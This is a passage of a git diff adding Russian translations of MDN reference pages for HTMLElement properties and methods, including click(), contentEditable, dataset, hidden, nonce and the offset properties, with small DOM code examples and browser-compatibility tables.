Когда click() используется с поддерживающими его элементами (такими, например, как {{HTMLElement("input")}}), он вызывает срабатывание события клика мышкой. Это событие затем всплывает вверх по дереву элементов (или цепочке событий) и вызывает срабатывание уже их событий по клику мышкой.

+ +

Syntax

+ +
element.click()
+ +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}{{Spec2('DOM2 HTML')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support20[3]{{CompatVersionUnknown}}5[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}[2]6[3]
input@file (limited){{CompatVersionUnknown}}{{CompatVersionUnknown}}4{{CompatVersionUnknown}}12.10{{CompatVersionUnknown}}
input@file (full){{CompatVersionUnknown}}{{CompatVersionUnknown}}4{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Относится к  Gecko 5.0 {{geckoRelease("5.0")}}, Gecko не будет реализовывать метод  click()  на других элементах, которые, как можно ожидать,  будут реагировать на клик мышкой, на такие как "ссылка"  ({{HTMLElement("a")}} элементы), также это не обязательно вызовет срабатывание события "клик мышкой" у других элементов.

+ +

[2] В версиях Opera, базируемых на Presto, метод click() будет без ошибок проигнорирован, если вызывается на поле {{HTMLElement("input")}} у которого  type указан как file и CSS свойство {{cssxref('display')}} установлено none.

+ +

[3] Предыдущие версии имели только HTMLInputElement.click() и HTMLButtonElement.click() .

diff --git a/files/ru/web/api/htmlelement/contenteditable/index.html b/files/ru/web/api/htmlelement/contenteditable/index.html new file mode 100644 index 0000000000..d231018d4a --- /dev/null +++ b/files/ru/web/api/htmlelement/contenteditable/index.html @@ -0,0 +1,115 @@ +--- +title: HTMLElement.contentEditable +slug: Web/API/HTMLElement/contentEditable +translation_of: Web/API/HTMLElement/contentEditable +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

Свойство HTMLElement.contentEditable элемента - признак, указывающий можно или нет редактировать содержимое элемента. Своство может принимать следующие значения:

+ + + +

Вы можете использовать свойство {{domxref("HTMLElement.isContentEditable")}}, чтобы проверить {{domxref("Boolean")}} значение этого свойства.

+ +

Синтаксис

+ +
editable = element.contentEditable
+element.contentEditable = "true"
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support11{{CompatGeckoDesktop(1.9)}}610.63.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3{{CompatGeckoMobile(1.9)}}6{{CompatNo}}5
+
+ +

Bugs

+ + + +

See also

+ + diff --git a/files/ru/web/api/htmlelement/dataset/index.html b/files/ru/web/api/htmlelement/dataset/index.html new file mode 100644 index 0000000000..328b265afa --- /dev/null +++ b/files/ru/web/api/htmlelement/dataset/index.html @@ -0,0 +1,114 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +

{{ APIRef("HTML DOM") }}

+ +

Свойство HTMLElement.dataset предоставляет доступ как для чтения, так и для изменения всех пользовательских дата-атрибутов custom data attributes (data-*) , установленных у элемента. Это map of DOMString, одна запись для каждого пользовательского атрибута данных. Обратите внимание, свойство dataset доступно только для чтения. Для записи должны использоваться  его "свойства", которые представлены data-атрибутами. Также обратите внимание, что HTML data-атрибут и соответствующий ему DOM-dataset.property не имеют одно и то же имя, но они всегда похожи:

+ + + +

Преобразование имён

+ +

dash-style в camelCase: имя пользовательского дата-атрибута преобразуется в ключ для {{ domxref("DOMStringMap") }} по следующим правилам:

+ + + +

camelCase в dash-style: обратное преобразование ключа в имя атрибута производится по следующим правилам:

+ + + +

Ограничение в правилах гарантирует, что эти два преобразования являются обратными друг другу.

+ +

Например, атрибуту data-abc-def соответствует ключ abcDef.

+ +

Доступ к значениям

+ + + +

Синтаксис

+ + + +

Примеры

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe</div>
+
+let el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML WHATWG')}}No change from latest snapshot, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5 W3C')}}Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.
+ +

Совместимость с браузерами

+ +

{{Compat("api.HTMLElement.dataset")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/htmlelement/hidden/index.html b/files/ru/web/api/htmlelement/hidden/index.html new file mode 100644 index 0000000000..854f08e186 --- /dev/null +++ b/files/ru/web/api/htmlelement/hidden/index.html @@ -0,0 +1,192 @@ +--- +title: HTMLElement.hidden +slug: Web/API/HTMLElement/hidden +translation_of: Web/API/HTMLElement/hidden +--- +
+
HTMLElement Свойство hidden является {{jsxref("Boolean")}} типом данных , который принимает значение true , если содержимое спрятано, в противном случае значение будет false. Это свойство соверешенно отличается от использования CSS свойства {{cssxref("display")}} , чтобы контролировать отображение элемента.Свойство hidden применимо ко всем режимам  представления и не должно использоваться для скрытия содержимого предназначенного для прямого доступа к пользователю. Соответствующие варианты использования включают:
+
+ + + +

Неуместные варианты использования включают:

+ + + +
+

Элементы, которые не hidden не должны ссылаться на элементы которые hidden.

+
+ +

Синтаксис

+ +
isHidden = HTMLElement.hidden;
+
+
+HTMLElement.hidden = true | false;
+ +

Значение

+ +

Если элемент спрятан, то значение true, в противном случае false;  

+ +

Пример

+ +

Пример, где скрытий блок используется для хранения "thank you" сообщения, которое отображается после того, как пользователь соглашается с необычным запросом.

+ +

JavaScript

+ +
document.getElementById("okButton")
+        .addEventListener("click", function() {
+  document.getElementById("welcome").hidden = true;
+  document.getElementById("awesome").hidden = false;
+}, false);
+ +

Этот код устанавливает обработчика для кнопки "OK", которая скрывает панель приветсвия и делает The follow-up panel панель с необычным именем "awesome" - видимой в этом месте.

+ +

HTML

+ +

HTML-код для двух boxes показанных здесь.

+ +

Welcome panel

+ +
<div id="welcome" class="panel">
+  <h1>Welcome to Foobar.com!</h1>
+  <p>By clicking "OK" you agree to be awesome every day!</p>
+  <button class="button" id="okButton">OK</button>
+</div>
+ +

Этот  HTML создает панель, которая приветствует пользователей на сайте и рассказывает им о том с чем они соглашаются нажимая на кнопку OK.

+ +

The follow-up panel

+ +

После того, как пользователь нажимает OK в welcome panel, JavaScript код меняет две панели изменяя их значения hidden. Cледующая The follow-up panel представлена в этом HMTL:

+ +
<div id="awesome" class="panel" hidden>
+  <h1>Thanks!</h1>
+  <p>Thank you <strong>so</strong> much for agreeing to be
+  awesome today! Now get out there and do awesome things
+  awesomely to make the world more awesome!</p>
+</div>
+ +

CSS

+ +

Стилизованное содержимое использует CSS предсталвенное внизу.

+ +
.panel {
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+  border: 1px solid #22d;
+  padding: 12px;
+  width: 500px;
+  text-align: center;
+}
+
+.button {
+  font: 22px "Open Sans", Helvetica, Arial, sans-serif;
+  padding: 5px 36px;
+}
+
+h1 {
+  margin-top: 0;
+  font-size: 175%;
+}
+ +

Результат

+ +

{{ EmbedLiveSample('Example', 560, 200) }}

+ +

Технические требования

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "interaction.html#dom-hidden", "HTMLElement.hidden")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}{{Spec2('HTML5 W3C')}} 
+ +

Браузерная совместимость

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlelement/index.html b/files/ru/web/api/htmlelement/index.html new file mode 100644 index 0000000000..7953983323 --- /dev/null +++ b/files/ru/web/api/htmlelement/index.html @@ -0,0 +1,402 @@ +--- +title: HTMLElement +slug: Web/API/HTMLElement +translation_of: Web/API/HTMLElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +
+ +

Интерфейс HTMLElement представляет собой любой элемент HTML. Некоторые элементы напрямую используют этот интерфейс, другие - через промежуточный интерфейс.

+ +

{{InheritanceDiagram}}

+ +

Свойства

+ +

Наследует свойства родителя, {{domxref("Element")}}, и реализует их через {{domxref("GlobalEventHandlers")}} и {{domxref("TouchEventHandlers")}}.

+ +
+
{{domxref("HTMLElement.accessKey")}} -- ключ доступа
+
Эта строковая переменная {{domxref("DOMString")}} отображает ключ доступа, сопоставленный элементу {{domxref("Element")}}.
+
{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}
+
Возвращает {{domxref ("DOMString")}}, содержащий назначенный ключ доступа элемента.
+
{{domxref("HTMLElement.contentEditable")}}
+
Является {{domxref ("DOMString")}}, где значение" true "означает, что элемент доступен для редактирования, а значение" false " означает, что это не так.
+
{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}
+
Возвращает {{domxref ("Boolean")}}, который указывает, можно ли редактировать содержимое элемента.
+
{{domxref("HTMLElement.contextMenu")}}
+
Является {{domxref ("HTMLMenuElement")}}, представляющим контекстное меню, связанное с элементом. Может быть null
+
{{domxref("HTMLElement.dataset")}} {{readonlyInline}} -- набор данных
+
Возвращает {{domxref("domstringmap")}}, который позволяет получить доступ к чтению и записи атрибутов пользовательских данных элемента (data-*) .
+
{{domxref("HTMLElement.dir")}}
+
Is a {{domxref("DOMString")}}, reflecting the dir global attribute, representing the directionality of the element. Possible values are "ltr", "rtl", and "auto".
+
{{domxref("HTMLElement.draggable")}}
+
Is a {{jsxref("Boolean")}} indicating if the element can be dragged.
+
{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}
+
Returns a {{domxref("DOMSettableTokenList")}} reflecting the dropzone global attribute and describing the behavior of the element regarding a drop operation.
+
{{domxref("HTMLElement.hidden")}}
+
Is a {{jsxref("Boolean")}} indicating if the element is hidden or not.
+
{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}
+
Is a {{jsxref("Boolean")}}…
+
{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}
+
Returns a {{domxref("DOMSettableTokenList")}}…
+
{{domxref("HTMLElement.itemId")}} {{experimental_inline}}
+
Is a {{domxref("DOMString")}}…
+
{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}
+
Returns a {{domxref("DOMSettableTokenList")}}…
+
{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}
+
Returns a {{domxref("DOMSettableTokenList")}}…
+
{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}
+
Returns an {{jsxref("Object")}}…
+
{{domxref("HTMLElement.lang")}}
+
Is a {{domxref("DOMString")}} representing the language of an element's attributes, text, and element contents.
+
{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}
+
Returns a double containing the height of an element, relative to the layout.
+
{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}
+
Returns a double, the distance from this element's left border to its offsetParent's left border.
+
{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}
+
Returns an {{domxref("Element")}} that is the element from which all offset calculations are currently computed.
+
{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}
+
Returns a double, the distance from this element's top border to its offsetParent's top border.
+
{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}
+
Returns a double containing the width of an element, relative to the layout.
+
{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}
+
Returns an {{domxref("HTMLPropertiesCollection")}}…
+
{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}
+
Is a {{jsxref("Boolean")}} that controls spell-checking. It is present on all HTML elements, though it hasn't an effect on all of them.
+
{{domxref("HTMLElement.style")}}
+
Is {{domxref("CSSStyleDeclaration")}}, an object representing the declarations of an element's style attributes.
+
{{domxref("HTMLElement.tabIndex")}}
+
Is a long representing the position of the element in the tabbing order.
+
{{domxref("HTMLElement.title")}}
+
Is a {{domxref("DOMString")}} containing the text that appears in a popup box when mouse is over the element.
+
{{domxref("HTMLElement.translate")}} {{experimental_inline}}
+
Is a {{jsxref("Boolean")}}
+
+ +

Event handlers

+ +

Most events properties, of the form onXYZ, are defined on the {{domxref("GlobalEventHandlers")}} or {{domxref("TouchEventHandlers")}}, implemented by HTMLElement. A few more are specific to HTMLElement.

+ +
+
{{ domxref("HTMLElement.oncopy") }} {{ non-standard_inline() }}
+
Returns the event handling code for the copy event ({{bug("280959")}}).
+
{{ domxref("HTMLElement.oncut") }} {{ non-standard_inline() }}
+
Returns the event handling code for the cut event ({{bug("280959")}}).
+
{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}
+
Returns the event handling code for the paste event ({{bug("280959")}}).
+
{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchstart")}} event.
+
{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchend")}} event.
+
{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchmove")}} event.
+
{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchenter")}} event.
+
{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchleave")}} event.
+
{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchcancel")}} event.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("Element")}}.

+ +
+
{{domxref("HTMLElement.blur()")}}
+
Removes keyboard focus from the currently focused element.
+
{{domxref("HTMLElement.click()")}}
+
Sends a mouse click event to the element.
+
{{domxref("HTMLElement.focus()")}}
+
Makes the element the current keyboard focus.
+
{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}
+
Makes the spell checker runs on the element.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}{{Spec2('CSSOM View')}}Added the following properties: offsetParent, offsetTop, offsetLeft, offsetWidth, and offsetHeight.
{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}{{Spec2('HTML WHATWG')}}Added the following properties: translate, itemScope, itemType, itemId, itemRef, itemProp, properties, and itemValue.
+ Added the following method: forceSpellcheck().
+ Moved the onXYZ attributes to the {{domxref("GlobalEventHandlers")}} interface and added an inheritance from it.
{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}{{Spec2('HTML5 W3C')}}Added the following properties: dataset, hidden, tabindex, accessKey, accessKeyLabel, draggable, dropzone, contentEditable, isContentEditable, contextMenu, spellcheck, commandType, commandLabel, commandIcon, commandHidden, commandDisabled, commandChecked, style, and all the onXYZ properties.
+ Moved the id and className properties to the {{domxref("Element")}} interface.
{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.0")}}{{CompatUnknown}}9{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.accessKey", "accessKey")}}{{CompatGeckoDesktop("5.0")}}17.0{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}(535.10)
{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}{{CompatGeckoDesktop("8.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{WebkitBug(72715)}}
{{domxref("HTMLElement.blur()", "blur()")}}{{CompatGeckoDesktop("5.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.click()", "click()")}}{{CompatGeckoDesktop("5.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}(535.24)
{{domxref("HTMLElement.dataset", "dataset")}}{{CompatGeckoDesktop("6.0")}}9.0{{CompatUnknown}}11.105.1
{{domxref("HTMLElement.focus()", "focus()")}}{{CompatGeckoDesktop("5.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.contentEditable", "contentEditable")}}{{CompatGeckoDesktop("1.9")}}{{CompatVersionUnknown}}5.59{{CompatVersionUnknown}}
{{domxref("HTMLElement.spellcheck", "spellcheck")}}{{CompatGeckoDesktop("1.8.1")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.style", "style")}}{{CompatVersionUnknown}} (returns a {{domxref("CSS2Properties")}}, rather than a {{domxref("CSSStyleDeclaration")}}){{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("HTMLElement.dataset", "dataset")}}{{CompatGeckoDesktop("6.0")}}8.01111.106
{{domxref("HTMLElement.draggable", "draggable")}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}12.0{{CompatUnknown}}
{{domxref("HTMLElement.dropzone", "dropzone")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}12.0{{CompatNo}}
{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, {{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatNo}}11.60
+ (Removed in Opera 15)		{{CompatNo}}
{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}{{CompatGeckoDesktop("1.9")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support +

{{CompatGeckoMobile("1.0")}}

+ 		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.accessKey", "accessKey")}}{{CompatGeckoMobile("5.0")}}
{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}{{CompatGeckoMobile("8.0")}}
{{domxref("HTMLElement.blur()", "blur()")}}{{CompatGeckoMobile("5.0")}}
{{domxref("HTMLElement.click()", "click()")}}{{CompatGeckoMobile("5.0")}}
{{domxref("HTMLElement.dataset", "dataset")}}{{CompatGeckoMobile("6.0")}}
{{domxref("HTMLElement.focus()", "focus()")}}{{CompatGeckoMobile("5.0")}}
{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}{{CompatGeckoMobile("1.9")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/htmlelement/nonce/index.html b/files/ru/web/api/htmlelement/nonce/index.html new file mode 100644 index 0000000000..e47f3aea23 --- /dev/null +++ b/files/ru/web/api/htmlelement/nonce/index.html @@ -0,0 +1,44 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +translation_of: Web/API/HTMLOrForeignElement/nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

Свойство nonce интерфейса {{domxref("HTMLElement")}} возвращает криптографический номер, который используется политикой безопасности содержимого для определения того, будет ли разрешена дальнейшая работа с данной выборкой.

+ +

В более поздних реализациях элементы, имеющие атрибут nonce, предоставляют его только скриптам (а не сторонним каналам, таким как селекторы атрибутов CSS).

+ +

Syntax

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

Value

+ +

Криптографический код.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}Первоначальное определение.
+ +

Browser Compatibility

+ +
+ + +

{{Compat("api.HTMLElement.nonce")}}

+
diff --git a/files/ru/web/api/htmlelement/offsetheight/index.html b/files/ru/web/api/htmlelement/offsetheight/index.html new file mode 100644 index 0000000000..e8d14948a9 --- /dev/null +++ b/files/ru/web/api/htmlelement/offsetheight/index.html @@ -0,0 +1,71 @@ +--- +title: HTMLElement.offsetHeight +slug: Web/API/HTMLElement/offsetHeight +translation_of: Web/API/HTMLElement/offsetHeight +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.offsetHeight - высота элемента с учетом вертикальных полей и границ в пикселях. Свойство неизменяемое, только для чтения. Возвращаемое значение - целочисленное.

+ +

Typically, an element's offsetHeight is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.

+ +

For the document body object, the measurement includes total linear content height instead of the element CSS height. Floated elements extending below other linear content are ignored.

+ +
+

This property will round the value to an integer. If you need a fractional value, use {{ domxref("element.getBoundingClientRect()") }}.

+
+ +

Syntax

+ +
var intElemOffsetHeight = document.getElementById(id_attribute_value).offsetHeight;
+
+ +

intElemOffsetHeight is a variable storing an integer corresponding to the offsetHeight pixel value of the element. The offsetHeight property is readonly.

+ +

Example

+ +

 

+ +

             Image:Dimensions-offset.png

+ + +

The example image above shows a scrollbar and an offsetHeight which fits on the window. However, non-scrollable elements may have large offsetHeight values, much larger than the visible content. These elements are typically contained within scrollable elements; consequently these non-scrollable elements may be completely or partly invisible, depending on the scrollTop setting of the scrollable container.

+ +

 

+ +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-htmlelement-offsetHeight', 'offsetLeft')}}{{Spec2('CSSOM View')}} 
+ +

Notes

+ +

offsetHeight is a property of the DHTML object model which was first introduced by MSIE. It is sometimes referred to as an element's physical/graphical dimensions, or an element's border-box height.

+ +

Browser compatibility

+ +

{{Compat("api.HTMLElement.offsetHeight")}}

+ +

See Also

+ + diff --git a/files/ru/web/api/htmlelement/offsetleft/index.html b/files/ru/web/api/htmlelement/offsetleft/index.html new file mode 100644 index 0000000000..ded2335950 --- /dev/null +++ b/files/ru/web/api/htmlelement/offsetleft/index.html @@ -0,0 +1,81 @@ +--- +title: HTMLElement.offsetLeft +slug: Web/API/HTMLElement/offsetLeft +translation_of: Web/API/HTMLElement/offsetLeft +--- +
{{ APIRef("HTML DOM") }}
+ +

Свойство offsetLeft содержит левое смещение элемента относительно offsetParent. Содержит расстояние от offsetParent до границы элемента.

+ +

For block-level elements, offsetTop, offsetLeft, offsetWidth, and offsetHeight describe the border box of an element relative to the offsetParent.

+ +

However, for inline-level elements (such as span) that can wrap from one line to the next, offsetTop and offsetLeft describe the positions of the first border box (use {{domxref("Element.getClientRects()")}} to get its width and height), while offsetWidth and offsetHeight describe the dimensions of the bounding border box (use {{domxref("Element.getBoundingClientRect()")}} to get its position). Therefore, a box with the left, top, width and height of offsetLeft, offsetTop, offsetWidth and offsetHeight will not be a bounding box for a span with wrapped text.

+ +

Syntax

+ +
left = element.offsetLeft;
+
+ +

left is an integer representing the offset to the left in pixels from the closest relatively positioned parent element.

+ +

Example

+ +
var colorTable = document.getElementById("t1");
+var tOLeft = colorTable.offsetLeft;
+
+if (tOLeft > 5) {
+  // large left offset: do something here
+}
+
+ +

This example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.

+ +

Image:offsetLeft.jpg

+ +
<div style="width: 300px; border-color:blue; border-style:solid; border-width:1;">
+  <span>Short span. </span>
+  <span id="longspan">Long span that wraps within this div.</span>
+</div>
+
+<div id="box" style="position: absolute; border-color: red; border-width: 1; border-style: solid; z-index: 10">
+</div>
+
+<script type="text/javascript">
+  var box = document.getElementById("box");
+  var longspan = document.getElementById("longspan");
+  box.style.left = longspan.offsetLeft + document.body.scrollLeft + "px";
+  box.style.top = longspan.offsetTop + document.body.scrollTop + "px";
+  box.style.width = longspan.offsetWidth + "px";
+  box.style.height = longspan.offsetHeight + "px";
+</script>
+ +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-htmlelement-offsetleft', 'offsetLeft')}}{{Spec2('CSSOM View')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.offsetLeft")}}

+ +

See also

+ + diff --git a/files/ru/web/api/htmlelement/offsettop/index.html b/files/ru/web/api/htmlelement/offsettop/index.html new file mode 100644 index 0000000000..e001d4e951 --- /dev/null +++ b/files/ru/web/api/htmlelement/offsettop/index.html @@ -0,0 +1,56 @@ +--- +title: HTMLElement.offsetTop +slug: Web/API/HTMLElement/offsetTop +translation_of: Web/API/HTMLElement/offsetTop +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement.offsetTop - свойство элемента доступно только для чтения, возвращает расстояние текущего элемента по отношению к верхней части {{domxref("HTMLelement.offsetParent","offsetParent")}} узла.

+ +

Синтаксис

+ +
topPos = element.offsetTop;
+
+ +

Параметры

+ + + +

Пример

+ +
